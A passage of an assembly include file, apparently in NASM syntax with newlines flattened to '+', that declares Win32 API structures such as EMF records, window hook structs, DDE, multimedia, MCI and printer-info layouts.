1+.RgnData RESW 1+ENDSTRUC++STRUC EMRFRAMERGN+.emr RESB EMR_size+.rclBounds RESB RECT_size+.cbRgnData RESD 1+.ihBrush RESD 1+.szlStroke RESD 1+.RgnData1 RESW 1+ENDSTRUC++STRUC EMREXTSELECTCLIPRGN+.emr RESB EMR_size+.cbRgnData RESD 1+.iMode RESD 1+.RgnData RESW 1+ENDSTRUC++STRUC EMREXTTEXTOUT+.emr RESB EMR_size+.rclBounds RESB RECT_size+.iGraphicsMode RESD 1+.exScale RESQ 1+.eyScale RESQ 1+.emrtext RESD 1+ENDSTRUC++STRUC EMRBITBLT+.emr RESB EMR_size+.rclBounds RESB RECT_size+.xDest RESD 1+.yDest RESD 1+.cxDest RESD 1+.cyDest RESD 1+.dwRop RESD 1+.xSrc RESD 1+.ySrc RESD 1+.xformSrc RESD 1+.crBkColorSrc RESD 1+.iUsageSrc RESD 1+.offBmiSrc RESD 1+.cbBmiSrc RESD 1+.offBitsSrc RESD 1+.cbBitsSrc RESD 1+ENDSTRUC++STRUC EMRSTRETCHBLT+.emr RESB EMR_size+.rclBounds RESB RECT_size+.xDest RESD 1+.yDest RESD 1+.cxDest RESD 1+.cyDest RESD 1+.dwRop RESD 1+.xSrc RESD 1+.ySrc RESD 1+.xformSrc RESD 1+.crBkColorSrc RESD 1+.iUsageSrc RESD 1+.offBmiSrc RESD 1+.cbBmiSrc RESD 1+.offBitsSrc RESD 1+.cbBitsSrc RESD 1+.cxSrc RESD 1+.cySrc RESD 1+ENDSTRUC++STRUC EMRMASKBLT+.emr RESB EMR_size+.rclBounds RESB RECT_size+.xDest RESD 1+.yDest RESD 1+.cxDest RESD 1+.cyDest RESD 1+.dwRop RESD 1+.xSrc2 RESD 1+.cyDest2 RESD 1+.dwRop2 RESD 1+.xSrc RESD 1+.ySrc RESD 1+.xformSrc RESD 1+.crBkColorSrc RESD 1+.iUsageSrc RESD 1+.offBmiSrc RESD 1+.cbBmiSrc RESD 1+.offBitsSrc RESD 1+.cbBitsSrc RESD 1+.xMask RESD 1+.yMask RESD 1+.iUsageMask RESD 1+.offBmiMask RESD 1+.cbBmiMask RESD 1+.offBitsMask RESD 1+.cbBitsMask RESD 1+ENDSTRUC++STRUC EMRPLGBLT+.emr RESB EMR_size+.rclBounds RESB RECT_size+.aptlDest3 RESD 1+.xSrc RESD 1+.ySrc RESD 1+.cxSrc RESD 1+.cySrc RESD 1+.xformSrc RESD 1+.crBkColorSrc RESD 1+.iUsageSrc RESD 1+.offBmiSrc RESD 1+.cbBmiSrc RESD 1+.offBitsSrc RESD 1+.cbBitsSrc RESD 1+.xMask RESD 1+.yMask RESD 1+.iUsageMask RESD 1+.offBmiMask RESD 1+.cbBmiMask RESD 1+.offBitsMask RESD 1+.cbBitsMask RESD 1+ENDSTRUC++STRUC EMRSETDIBITSTODEVICE+.emr RESB EMR_size+.rclBounds RESB RECT_size+.xDest RESD 1+.yDest RESD 1+.xSrc RESD 1+.ySrc RESD 1+.cxSrc RESD 1+.cySrc RESD 1+.offBmiSrc RESD 1+.cbBmiSrc RESD 1+.offBitsSrc RESD 1+.cbBitsSrc RESD 1+.iUsageSrc RESD 1+.iStartScan RESD 1+.cScans RESD 1+ENDSTRUC++STRUC EMRSTRETCHDIBITS+.emr RESB EMR_size+.rclBounds RESB RECT_size+.xDest RESD 1+.yDest RESD 1+.xSrc RESD 1+.ySrc RESD 1+.cxSrc RESD 1+.cySrc RESD 1+.offBmiSrc RESD 1+.cbBmiSrc RESD 1+.offBitsSrc RESD 1+.cbBitsSrc RESD 1+.iUsageSrc RESD 1+.dwRop RESD 1+.cxDest RESD 1+.cyDest RESD 1+ENDSTRUC++STRUC EMREXTCREATEFONTINDIRECT+.emr RESB EMR_size+.ihFont RESD 1+.elfw RESD 1+ENDSTRUC++STRUC EMRCREATEPALETTE+.emr RESB EMR_size+.ihPal RESD 1+.lgpl RESD 1+ENDSTRUC++STRUC EMRCREATEPEN+.emr RESB EMR_size+.ihPen RESD 1+.lopn RESD 1+ENDSTRUC++STRUC EMREXTCREATEPEN+.emr RESB EMR_size+.ihPen RESD 1+.offBmi RESD 1+.cbBmi RESD 1+.offBits RESD 1+.cbBits RESD 1+.elp RESD 1+ENDSTRUC++STRUC EMRCREATEBRUSHINDIRECT+.emr RESB EMR_size+.ihBrush RESD 1+.lb RESD 1+ENDSTRUC++STRUC EMRCREATEMONOBRUSH+.emr RESB EMR_size+.ihBrush RESD 1+.iUsage RESD 1+.offBmi RESD 1+.cbBmi RESD 1+.offBits RESD 1+.cbBits RESD 1+ENDSTRUC++STRUC EMRCREATEDIBPATTERNBRUSHPT+.emr RESB EMR_size+.ihBursh RESD 1+.iUsage RESD 1+.offBmi RESD 1+.cbBmi RESD 1+.offBits RESD 1+.cbBits RESD 1+ENDSTRUC++STRUC BITMAPV4HEADER+.bV4Size RESD 1+.bV4Width RESD 1+.bV4Height RESD 1+.bV4Planes RESW 1+.bV4BitCount RESW 1+.bV4V4Compression RESD 1+.bV4SizeImage RESD 1+.bV4XPelsPerMeter RESD 1+.bV4YPelsPerMeter RESD 1+.bV4ClrUsed RESD 1+.bV4ClrImportant RESD 1+.bV4RedMask RESD 1+.bV4GreenMask RESD 1+.bV4BlueMask RESD 1+.bV4AlphaMask RESD 1+.bV4CSType RESD 1+.bV4Endpoints RESD 1+.bV4GammaRed RESD 1+.bV4GammaGreen RESD 1+.bV4GammaBlue RESD 1+ENDSTRUC++STRUC FONTSIGNATURE+.fsUsb4 RESD 1+.fsCsb2 RESD 1+ENDSTRUC++STRUC CHARSETINFO+.ciCharset RESD 1+.ciACP RESD 1+.xlfs RESD 1+ENDSTRUC++STRUC LOCALESIGNATURE+.lsUsb4 RESD 1+.lsCsbDefault RESD 1+.lsCsbSupported RESD 1+ENDSTRUC++STRUC NEWTEXTMETRICEX+.ntmTm RESD 1+.ntmFontSig RESD 1+ENDSTRUC++STRUC ENUMLOGFONTEX+.elfLogFont RESD 1+.elfFullName RESB 1+.elfStyle RESB 1+.elfScript RESB 1+ENDSTRUC++STRUC GCP_RESULTS+.lStructSize RESD 1+.lpOutString RESD 1+.lpOrder RESD 1+.lpDX RESD 1+.lpCaretPos RESD 1+.lpClass RESD 1+.lpGlyphs RESD 1+.nGlyphs RESD 1+.nMaxFit RESD 1+ENDSTRUC++STRUC CIEXYZ+.ciexyzX RESD 1+.ciexyzY RESD 1+.ciexyzZ RESD 1+ENDSTRUC++STRUC CIEXYZTRIPLE+.ciexyzRed RESD 1+.ciexyzGreen RESD 1+.ciexyBlue RESD 1+ENDSTRUC++STRUC LOGCOLORSPACE+.lcsSignature RESD 1+.lcsVersion RESD 1+.lcsSize RESD 1+.lcsCSType RESD 1+.lcsIntent RESD 1+.lcsEndPoints RESD 1+.lcsGammaRed RESD 1+.lcsGammaGreen RESD 1+.lcsGammaBlue RESD 1+.lcsFileName RESB MAX_PATH+ENDSTRUC++STRUC EMRSELECTCOLORSPACE+.emr RESB EMR_size+.ihCS RESD 1+ENDSTRUC++STRUC EMRCREATECOLORSPACE+.emr RESB EMR_size+.ihCS RESD 1+.lcs RESD 1+ENDSTRUC++STRUC CBTACTIVATESTRUCT+.fMouse RESD 1+.hWndActive RESD 1+ENDSTRUC++STRUC EVENTMSG+.message RESD 1+.paramL RESD 1+.paramH RESD 1+.time RESD 1+.hwnd RESD 1+ENDSTRUC++STRUC CWPSTRUCT+.lParam RESD 1+.wParam RESD 1+.message RESD 1+.hwnd RESD 1+ENDSTRUC++STRUC DEBUGHOOKINFO+.hModuleHook RESD 1+.Reserved RESD 1+.lParam RESD 1+.wParam RESD 1+.code RESD 1+ENDSTRUC++STRUC MOUSEHOOKSTRUCT+.pt RESB POINT_size+.hwnd RESD 1+.wHitTestCode RESD 1+.dwExtraInfo RESD 1+ENDSTRUC++STRUC MINMAXINFO+.ptReserved RESB POINT_size+.ptMaxSize RESB POINT_size+.ptMaxPosition RESB POINT_size+.ptMinTrackSize RESB POINT_size+.ptMaxTrackSize RESB POINT_size+ENDSTRUC++STRUC COPYDATASTRUCT+.dwData RESD 1+.cbData RESD 1+.lpData RESD 1+ENDSTRUC++STRUC WINDOWPOS+.hwnd RESD 1+.hWndInsertAfter RESD 1+.x RESD 1+.y RESD 1+.lx RESD 1+.ly RESD 1+.flags RESD 1+ENDSTRUC++STRUC ACCEL+.fVirt RESB 1+.key RESW 1+.cmd RESW 1+ENDSTRUC++STRUC PAINTSTRUCT+.hdc RESD 1+.fErase RESD 1+.rcPaint RESB RECT_size+.fRestore RESD 1+.fIncUpdate RESD 1+.rgbReserved RESB 32+ENDSTRUC++STRUC CREATESTRUCT+.lpCreateParams RESD 1+.hInstance RESD 1+.hMenu RESD 1+.hWndParent RESD 1+.ly RESD 1+.lx RESD 1+.y RESD 1+.x RESD 1+.style RESD 1+.lpszName RESD 1+.lpszClass RESD 1+.ExStyle RESD 1+ENDSTRUC++STRUC CBT_CREATEWND+.lpcs RESD 1+.hWndInsertAfter RESD 1+ENDSTRUC++STRUC WINDOWPLACEMENT+.iLength RESD 1+.flags RESD 1+.showCmd RESD 1+.ptMinPosition RESB POINT_size+.ptMaxPosition RESB POINT_size+.rcNormalPosition RESB RECT_size+ENDSTRUC++STRUC MEASUREITEMSTRUCT+.CtlType RESD 1+.CtlID RESD 1+.itemID RESD 1+.itemWidth RESD 1+.itemHeight RESD 1+.itemData RESD 1+ENDSTRUC++STRUC DRAWITEMSTRUCT+.CtlType RESD 1+.CtlID RESD 1+.itemID RESD 1+.itemAction RESD 1+.itemState RESD 1+.hwndItem RESD 1+.hDC RESD 1+.rcItem RESB RECT_size+.itemData RESD 1+ENDSTRUC++STRUC DELETEITEMSTRUCT+.CtlType RESD 1+.CtlID RESD 1+.itemID RESD 1+.hwndItem RESD 1+.itemData RESD 1+ENDSTRUC++STRUC COMPAREITEMSTRUCT+.CtlType RESD 1+.CtlID RESD 1+.hwndItem RESD 1+.itemID1 RESD 1+.itemData1 RESD 1+.itemID2 RESD 1+.itemData2 RESD 1+ENDSTRUC++STRUC DLGTEMPLATE+.style RESD 1+.dwExtendedStyle RESD 1+.cdit RESW 1+.x RESW 1+.y RESW 1+.lx RESW 1+.ly RESW 1+ENDSTRUC++STRUC DLGITEMTEMPLATE+.style RESD 1+.dwExtendedStyle RESD 1+.x RESW 1+.y RESW 1+.lx RESW 1+.ly RESW 1+.id RESW 1+ENDSTRUC++STRUC MENUITEMTEMPLATEHEADER+.versionNumber RESW 1+.loffset RESW 1+ENDSTRUC++STRUC MENUITEMTEMPLATE+.mtOption RESW 1+.mtID RESW 1+.mtString RESB 1+ENDSTRUC++STRUC ICONINFO+.fIcon RESD 1+.xHotspot RESD 1+.yHotspot RESD 1+.hbmMask RESD 1+.hbmColor RESD 1+ENDSTRUC++STRUC MDICREATESTRUCT+.szClass RESD 1+.szTitle RESD 1+.hOwner RESD 1+.x RESD 1+.y RESD 1+.lx RESD 1+.ly RESD 1+.style RESD 1+.lParam RESD 1+ENDSTRUC++STRUC CLIENTCREATESTRUCT+.hWindowMenu RESD 1+.idFirstChild RESD 1+ENDSTRUC++STRUC MULTIKEYHELP+.mkSize RESD 1+.mkKeylist RESB 1+.szKeyphrase RESB 253+ENDSTRUC++STRUC HELPWININFO+.wStructSize RESD 1+.x RESD 1+.y RESD 1+.lx RESD 1+.ly RESD 1+.wMax RESD 1+.rgchMember RESB 2+ENDSTRUC++STRUC DDEACK+.bAppReturnCode RESW 1+.Reserved RESW 1+.fbusy RESW 1+.fack RESW 1+ENDSTRUC++STRUC DDEADVISE+.Reserved RESW 1+.fDeferUpd RESW 1+.fAckReq RESW 1+.cfFormat RESW 1+ENDSTRUC++STRUC DDEDATA+.unused RESW 1+.fresponse RESW 1+.fRelease RESW 1+.Reserved RESW 1+.fAckReq RESW 1+.cfFormat RESW 1+.Value1 RESB 1+ENDSTRUC++STRUC DDEPOKE+.unused RESW 1+.fRelease RESW 1+.fReserved RESW 1+.cfFormat RESW 1+.Value1 RESB 1+ENDSTRUC++STRUC DDELN+.unused RESW 1+.fRelease RESW 1+.fDeferUpd RESW 1+.fAckReq RESW 1+.cfFormat RESW 1+ENDSTRUC++STRUC DDEUP+.unused RESW 1+.fAck RESW 1+.fRelease RESW 1+.fReserved RESW 1+.fAckReq RESW 1+.cfFormat RESW 1+.xRGB1 RESB 1+ENDSTRUC++STRUC HSZPAIR+.hszSvc RESD 1+.hszTopic RESD 1+ENDSTRUC++STRUC SECURITY_QUALITY_OF_SERVICE+.iLength RESD 1+.Impersonationlevel RESW 1+.ContextTrackingMode RESW 1+.EffectiveOnly RESD 1+ENDSTRUC++STRUC CONVCONTEXT+.cb RESD 1+.wFlags RESD 1+.wCountryID RESD 1+.iCodePage RESD 1+.dwLangID RESD 1+.dwSecurity RESD 1+.qos RESD 1+ENDSTRUC++STRUC CONVINFO+.cb RESD 1+.hUser RESD 1+.hConvPartner RESD 1+.hszSvcPartner RESD 1+.hszServiceReq RESD 1+.hszTopic RESD 1+.hszItem RESD 1+.wFmt RESD 1+.wType RESD 1+.wStatus RESD 1+.wConvst RESD 1+.wLastError RESD 1+.hConvList RESD 1+.ConvCtxt RESD 1+.hwnd RESD 1+.hwndPartner RESD 1+ENDSTRUC++STRUC DDEML_MSG_HOOK_DATA+.uiLo RESD 1+.uiHi RESD 1+.cbData RESD 1+.xData RESD 1+ENDSTRUC++STRUC MONMSGSTRUCT+.cb RESD 1+.hwndTo RESD 1+.dwTime RESD 1+.htask RESD 1+.wMsg RESD 1+.wParam RESD 1+.lParam RESD 1+.dmhd RESD 1+ENDSTRUC++STRUC MONCBSTRUCT+.cb RESD 1+.dwTime RESD 1+.htask RESD 1+.dwRet RESD 1+.wType RESD 1+.wFmt RESD 1+.hConv RESD 1+.hsz1 RESD 1+.hsz2 RESD 1+.hData RESD 1+.dwData1 RESD 1+.dwData2 RESD 1+.cc RESD 1+.cbData RESD 1+.xData8 RESD 1+ENDSTRUC++STRUC MONHSZSTRUCT+.cb RESD 1+.fsAction RESD 1+.dwTime RESD 1+.hsz RESD 1+.htask RESD 1+.xstr RESB 1+ENDSTRUC++STRUC MONERRSTRUCT+.cb RESD 1+.wLastError RESD 1+.dwTime RESD 1+.htask RESD 1+ENDSTRUC++STRUC MONLINKSTRUCT+.cb RESD 1+.dwTime RESD 1+.htask RESD 1+.fEstablished RESD 1+.fNoData RESD 1+.hszSvc RESD 1+.hszTopic RESD 1+.hszItem RESD 1+.wFmt RESD 1+.fServer RESD 1+.hConvServer RESD 1+.hConvClient RESD 1+ENDSTRUC++STRUC MONCONVSTRUCT+.cb RESD 1+.fConnect RESD 1+.dwTime RESD 1+.htask RESD 1+.hszSvc RESD 1+.hszTopic RESD 1+.hConvClient RESD 1+.hConvServer RESD 1+ENDSTRUC++STRUC smpte+.hour RESB 1+.minute RESB 1+.sec RESB 1+.frame RESB 1+.fps RESB 1+.dummy RESB 1+.pad RESB 1+ENDSTRUC++STRUC midi+.songptrpos RESD 1+ENDSTRUC++STRUC MMTIME+.wType RESD 1+.u RESD 1+ENDSTRUC++STRUC MIDIEVENT+.dwDeltaTime RESD 1+.dwStreamID RESD 1+.dwEvent RESD 1+.dwParms RESD 1+ENDSTRUC++STRUC MIDISTRMBUFFVER+.dwVersion RESD 1+.dwMid RESD 1+.dwOEMVersion RESD 1+ENDSTRUC++STRUC MIDIPROPTIMEDIV+.cbStruct RESD 1+.dwTimeDiv RESD 1+ENDSTRUC++STRUC MIDIPROPTEMPO+.cbStruct RESD 1+.dwTempo RESD 1+ENDSTRUC++STRUC MIXERCAPS+.wMid RESW 1+.wPid RESW 1+.vDriverVersion RESD 1+.szPname RESB MAXPNAMELEN+.fdwSupport RESD 1+.cDestinations RESD 1+ENDSTRUC++STRUC Target+.dwType RESD 1+.dwDeviceID RESD 1+.wMid RESW 1+.wPid RESW 1+.vDriverVersion RESD 1+.szPname RESB MAXPNAMELEN+ENDSTRUC++STRUC MIXERLINECONTROLS+.cbStruct RESD 1+.dwLineID RESD 1+.dwControl RESD 1+.cControls RESD 1+.cbmxctrl RESD 1+.pamxctrl RESD 1+ENDSTRUC++STRUC MIXERCONTROLDETAILS+.cbStruct RESD 1+.dwControlID RESD 1+.cChannels RESD 1+.item RESD 1+.cbDetails RESD 1+.paDetails RESD 1+ENDSTRUC++STRUC MIXERCONTROLDETAILS_BOOLEAN+.fValue RESD 1+ENDSTRUC++STRUC MIXERCONTROLDETAILS_SIGNED+.lValue RESD 1+ENDSTRUC++STRUC MIXERCONTROLDETAILS_UNSIGNED+.dwValue RESD 1+ENDSTRUC++STRUC JOYINFOEX+.dwSize RESD 1+.dwFlags RESD 1+.dwXpos RESD 1+.dwYpos RESD 1+.dwZpos RESD 1+.dwRpos RESD 1+.dwUpos RESD 1+.dwVpos RESD 1+.dwButtons RESD 1+.dwButtonNumber RESD 1+.dwPOV RESD 1+.dwReserved1 RESD 1+.dwReserved2 RESD 1+ENDSTRUC++STRUC DRVCONFIGINFO+.dwDCISize RESD 1+.lpszDCISectionName RESD 1+.lpszDCIAliasName RESD 1+.dnDevNode RESD 1+ENDSTRUC++STRUC WAVEHDR+.lpData RESD 1+.dwBufferiLength RESD 1+.dwBytesRecorded RESD 1+.dwUser RESD 1+.dwFlags RESD 1+.dwLoops RESD 1+.lpNext RESD 1+.Reserved RESD 1+ENDSTRUC++STRUC WAVEOUTCAPS+.wMid RESW 1+.wPid RESW 1+.vDriverVersion RESD 1+.szPname RESB MAXPNAMELEN+.dwFormats RESD 1+.wChannels RESW 1+.dwSupport RESD 1+ENDSTRUC++STRUC WAVEINCAPS+.wMid RESW 1+.wPid RESW 1+.vDriverVersion RESD 1+.szPname RESB MAXPNAMELEN+.dwFormats RESD 1+.wChannels RESW 1+ENDSTRUC++STRUC WAVEFORMAT+.wFormatTag RESW 1+.nChannels RESW 1+.nSamplesPerSec RESD 1+.nAvgBytesPerSec RESD 1+.nBlockAlign RESW 1+ENDSTRUC++STRUC PCMWAVEFORMAT+.wf RESD 1+.wBitsPerSample RESW 1+ENDSTRUC++STRUC MIDIOUTCAPS+.wMid RESW 1+.wPid RESW 1+.vDriverVersion RESD 1+.szPname RESB MAXPNAMELEN+.wTechnology RESW 1+.wVoices RESW 1+.wNotes RESW 1+.wChannelMask RESW 1+.dwSupport RESD 1+ENDSTRUC++STRUC MIDIINCAPS+.wMid RESW 1+.wPid RESW 1+.vDriverVersion RESD 1+.szPname RESB MAXPNAMELEN+ENDSTRUC++STRUC MIDIHDR+.lpData RESD 1+.dwBufferiLength RESD 1+.dwBytesRecorded RESD 1+.dwUser RESD 1+.dwFlags RESD 1+.lpNext RESD 1+.Reserved RESD 1+ENDSTRUC++STRUC AUXCAPS+.wMid RESW 1+.wPid RESW 1+.vDriverVersion RESD 1+.szPname RESB MAXPNAMELEN+.wTechnology RESW 1+.dwSupport RESD 1+ENDSTRUC++STRUC TIMECAPS+.wPeriodMin RESD 1+.wPeriodMax RESD 1+ENDSTRUC++STRUC JOYCAPS+.wMid RESW 1+.wPid RESW 1+.szPname RESB MAXPNAMELEN+.wXmin RESW 1+.wXmax RESW 1+.wYmin RESW 1+.wYmax RESW 1+.wZmin RESW 1+.wZmax RESW 1+.wNumButtons RESW 1+.wPeriodMin RESW 1+.wPeriodMax RESW 1+ENDSTRUC++STRUC JOYINFO+.wXpos RESW 1+.wYpos RESW 1+.wZpos RESW 1+.wButtons RESW 1+ENDSTRUC++STRUC MMIOINFO+.dwFlags RESD 1+.fccIOProc RESD 1+.pIOProc RESD 1+.wErrorRet RESD 1+.htask RESD 1+.cchBuffer RESD 1+.pchBuffer RESD 1+.pchNext RESD 1+.pchEndRead RESD 1+.pchEndWrite RESD 1+.lBufOffset RESD 1+.lDiskOffset RESD 1+.adwInfo4 RESD 1+.dwReserved1 RESD 1+.dwReserved2 RESD 1+.hmmio RESD 1+ENDSTRUC++STRUC MMCKINFO+.ckid RESD 1+.ckSize RESD 1+.fccType RESD 1+.dwDataOffset RESD 1+.dwFlags RESD 1+ENDSTRUC++STRUC MCI_GENERIC_PARMS+.dwCallback RESD 1+ENDSTRUC++STRUC MCI_OPEN_PARMS+.dwCallback RESD 1+.wDeviceID RESD 1+.lpstrDeviceType RESD 1+.lpstrElementName RESD 1+.lpstrAlias RESD 1+ENDSTRUC++STRUC MCI_PLAY_PARMS+.dwCallback RESD 1+.dwFrom RESD 1+.dwTo RESD 1+ENDSTRUC++STRUC MCI_SEEK_PARMS+.dwCallback RESD 1+.dwTo RESD 1+ENDSTRUC++STRUC MCI_STATUS_PARMS+.dwCallback RESD 1+.dwReturn RESD 1+.dwItem RESD 1+.dwTrack RESW 1+ENDSTRUC++STRUC MCI_INFO_PARMS+.dwCallback RESD 1+.lpstrReturn RESD 1+.dwRetSize RESD 1+ENDSTRUC++STRUC MCI_GETDEVCAPS_PARMS+.dwCallback RESD 1+.dwReturn RESD 1+.dwIten RESD 1+ENDSTRUC++STRUC MCI_SYSINFO_PARMS+.dwCallback RESD 1+.lpstrReturn RESD 1+.dwRetSize RESD 1+.dwNumber RESD 1+.wDeviceType RESD 1+ENDSTRUC++STRUC MCI_SET_PARMS+.dwCallback RESD 1+.dwTimeFormat RESD 1+.dwAudio RESD 1+ENDSTRUC++STRUC MCI_BREAK_PARMS+.dwCallback RESD 1+.nVirtKey RESD 1+.hwndBreak RESD 1+ENDSTRUC++STRUC MCI_SOUND_PARMS+.dwCallback RESD 1+.lpstrSoundName RESD 1+ENDSTRUC++STRUC MCI_SAVE_PARMS+.dwCallback RESD 1+.lpFileName RESD 1+ENDSTRUC++STRUC MCI_LOAD_PARMS+.dwCallback RESD 1+.lpFileName RESD 1+ENDSTRUC++STRUC MCI_RECORD_PARMS+.dwCallback RESD 1+.dwFrom RESD 1+.dwTo RESD 1+ENDSTRUC++STRUC MCI_VD_PLAY_PARMS+.dwCallback RESD 1+.dwFrom RESD 1+.dwTo RESD 1+.dwSpeed RESD 1+ENDSTRUC++STRUC MCI_VD_STEP_PARMS+.dwCallback RESD 1+.dwFrames RESD 1+ENDSTRUC++STRUC MCI_VD_ESCAPE_PARMS+.dwCallback RESD 1+.lpstrCommand RESD 1+ENDSTRUC++STRUC MCI_WAVE_OPEN_PARMS+.dwCallback RESD 1+.wDeviceID RESD 1+.lpstrDeviceType RESD 1+.lpstrElementName RESD 1+.lpstrAlias RESD 1+.dwBufferSeconds RESD 1+ENDSTRUC++STRUC MCI_WAVE_DELETE_PARMS+.dwCallback RESD 1+.dwFrom RESD 1+.dwTo RESD 1+ENDSTRUC++STRUC MCI_WAVE_SET_PARMS+.dwCallback RESD 1+.dwTimeFormat RESD 1+.dwAudio RESD 1+.wInput RESD 1+.wOutput RESD 1+.wFormatTag RESW 1+.wReserved2 RESW 1+.nChannels RESW 1+.wReserved3 RESW 1+.nSamplesPerSec RESD 1+.nAvgBytesPerSec RESD 1+.nBlockAlign RESW 1+.wReserved4 RESW 1+.wBitsPerSample RESW 1+.wReserved5 RESW 1+ENDSTRUC++STRUC MCI_SEQ_SET_PARMS+.dwCallback RESD 1+.dwTimeFormat RESD 1+.dwAudio RESD 1+.dwTempo RESD 1+.dwPort RESD 1+.dwSlave RESD 1+.dwMaster RESD 1+.dwOffset RESD 1+ENDSTRUC++STRUC MCI_ANIM_OPEN_PARMS+.dwCallback RESD 1+.wDeviceID RESD 1+.lpstrDeviceType RESD 1+.lpstrElementName RESD 1+.lpstrAlias RESD 1+.dwStyle RESD 1+.hWndParent RESD 1+ENDSTRUC++STRUC MCI_ANIM_PLAY_PARMS+.dwCallback RESD 1+.dwFrom RESD 1+.dwTo RESD 1+.dwSpeed RESD 1+ENDSTRUC++STRUC MCI_ANIM_STEP_PARMS+.dwCallback RESD 1+.dwFrames RESD 1+ENDSTRUC++STRUC MCI_ANIM_WINDOW_PARMS+.dwCallback RESD 1+.hwnd RESD 1+.nCmdShow RESD 1+.lpstrText RESD 1+ENDSTRUC++STRUC MCI_ANIM_RECT_PARMS+.dwCallback RESD 1+.rc RESB RECT_size+ENDSTRUC++STRUC MCI_ANIM_UPDATE_PARMS+.dwCallback RESD 1+.rc RESB RECT_size+.hDC RESD 1+ENDSTRUC++STRUC MCI_OVLY_OPEN_PARMS+.dwCallback RESD 1+.wDeviceID RESD 1+.lpstrDeviceType RESD 1+.lpstrElementName RESD 1+.lpstrAlias RESD 1+.dwStyle RESD 1+.hWndParent RESD 1+ENDSTRUC++STRUC MCI_OVLY_WINDOW_PARMS+.dwCallback RESD 1+.hwnd RESD 1+.nCmdShow RESD 1+.lpstrText RESD 1+ENDSTRUC++STRUC MCI_OVLY_RECT_PARMS+.dwCallback RESD 1+.rc RESB RECT_size+ENDSTRUC++STRUC MCI_OVLY_SAVE_PARMS+.dwCallback RESD 1+.lpFileName RESD 1+.rc RESB RECT_size+ENDSTRUC++STRUC MCI_OVLY_LOAD_PARMS+.dwCallback RESD 1+.lpFileName RESD 1+.rc RESB RECT_size+ENDSTRUC++STRUC PRINTER_INFO_1+.flags RESD 1+.pDescription RESD 1+.pName RESD 1+.pComment RESD 1+ENDSTRUC++STRUC PRINTER_INFO_2+.pServerName RESD 1+.pPrinterName RESD 1+.pShareName RESD 1+.pPortName RESD 1+.pDriverName RESD 1+.pComment RESD 1+.pLocation RESD 1+.pDevMode RESD 1+.pSepFile RESD 1+.pPrintProcessor RESD 1+.pDatatype RESD 1+.pParameters RESD 1+.pSecurityDescriptor RESD 1+.Attributes RESD 1+.Priority RESD 1+.DefaultPriority RESD 1+.StartTime RESD 1+.UntilTime RESD 1+.Status RESD 1+.cJobs RESD 1+.AveragePPM RESD 1+ENDSTRUC++STRUC PRINTER_INFO_3+.pSecurityDescriptor RESD 1+ENDSTRUC++STRUC JOB_INFO_1+.JobId RESD 1+.pPrinterName RESD 1+.pMachineName RESD 1+.pUserName RESD 1+.pDocument RESD 1+.pDatatype RESD 1+.pStatus RESD 1+.Status RESD 1+.Priority RESD 1+.Position RESD 1+.TotalPages RESD 1+.PagesPrinted RESD 1+.Submitted RESD 1+ENDSTRUC++STRUC JOB_INFO_2+.JobId RESD 1+.pPrinterName RESD 1+.pMachineName RESD 1+.pUserName RESD 1+.pDocument RESD 1+.pNotifyName RESD 1+.pDatatype RESD 1+.pPrintProcessor RESD 1+.pParameters RESD 1+.pDriverName RESD 1+.pDevMode RESD 1+.pStatus RESD 1+.pSecurityDescriptor RESD 1+.Status RESD 1+.Priority RESD 1+.Position RESD 1+.StartTime RESD 1+.UntilTime RESD 1+.TotalPages RESD 1+.isize RESD 1+.Submitted RESD 1+.time RESD 1+.PagesPrinted RESD 1+ENDSTRUC++STRUC ADDJOB_INFO_1+.Path RESD 1+.JobId RESD 1+ENDSTRUC++STRUC DRIVER_INFO_1+.pName RESD 1+ENDSTRUC++STRUC DRIVER_INFO_2+.cVersion RESD 1+.pName RESD 1+.pEnvironment RESD 1+.pDriverPath RESD 1+.pDataFile RESD 1+.pConfigFile RESD 1+ENDSTRUC++STRUC DOC_INFO_1+.pDocName RESD 1+.pOutputFile RESD 1+.pDatatype RESD 1+ENDSTRUC++STRUC FORM_INFO_1+.pName RESD 1+.isize RESD 1+.ImageableArea RESD 1+ENDSTRUC++STRUC PRINTPROCESSOR_INFO_1+.pName RESD 1+ENDSTRUC++STRUC PORT_INFO_1+.pName RESD 1+ENDSTRUC++STRUC MONITOR_INFO_1+.pName RESD 1+ENDSTRUC++STRUC MONITOR_INFO_2+.pName RESD 1+.pEnvironment RESD 1+.pDLLName RESD 1+ENDSTRUC++STRUC DATATYPES_INFO_1+.pName RESD 1+ENDSTRUC++STRUC PRINTER_DEFAULTS+.pDatatype RESD 1+.pDevMode RESD 1+.DesiredAccess RESD 1+ENDSTRUC++STRUC PRINTER_INFO_4+.pPrinterName RESD 1+.pServerName RESD 1+.Attributes RESD 1+ENDSTRUC++STRUC PRINTER_INFO_5+.pPrinterName RESD 1+.pPortName RESD 1+.Attributes RESD 1+.DeviceNotSelectedTimeout RESD 1+.TransmissionRetryTimeout RESD 1+ENDSTRUC++STRUC DRIVER_INFO_3+.cVersion RESD 1+.pName RESD 1+.pEnvironment RESD 1+.pDriverPath RESD 1+.pDataFile RESD 1+.pConfigFile RESD 1+.pHelpFile RESD 1+.pDependentFiles RESD 1+.pMonitorName RESD 1+.pDefaultDataType RESD 1+ENDSTRUC++STRUC DOC_INFO_2+.pDocName RESD 1+.pOutputFile RESD 1+.pDatatype RESD 1+.dwMode RESD 1+.JobId RESD 1+ENDSTRUC++STRUC PORT_INFO_2+.pPortName RESD 1+.pMonitorName RESD 1+.pDescription RESD 1+.fPortType RESD 1+.Reserved RESD 1+ENDSTRUC++STRUC PROVIDOR_INFO_1+.pName RESD 1+.pEnvironment RESD 1+.pDLLName RESD 1+ENDSTRUC++STRUC NETRESOURCE+.dwScope RESD 1+.dwType RESD 1+.dwDisplayType RESD 1+.dwUsage RESD 1+.lpLocalName RESD 1+.lpRemoteName RESD 1+.lpComment RESD 1+.lpProvider RESD 1+ENDSTRUC++STRUC NCB+.ncb_command RESW 1+.ncb_retcode RESW 1+.ncb_lsn RESW 1+.ncb_num RESW 1+.ncb_buffer RESD 1+.ncb_length RESW 1+.ncb_callname RESB NCBNAMSZ+.ncb_name RESB NCBNAMSZ+.ncb_rto RESW 1+.ncb_sto RESW 1+.ncb_post RESD 1+.ncb_lana_num RESW 1+.ncb_cmd_cplt RESW 1+.ncb_reserve10 RESB 1+.ncb_event RESD 1+ENDSTRUC++STRUC ADAPTER_STATUS+.adapter_address RESB 6+.rev_major RESW 1+.reserved0 RESW 1+.adapter_type RESW 1+.rev_minor RESW 1+.duration RESW 1+.frmr_recv RESW 1+.frmr_xmit RESW 1+.iframe_recv_err RESW 1+.xmit_aborts 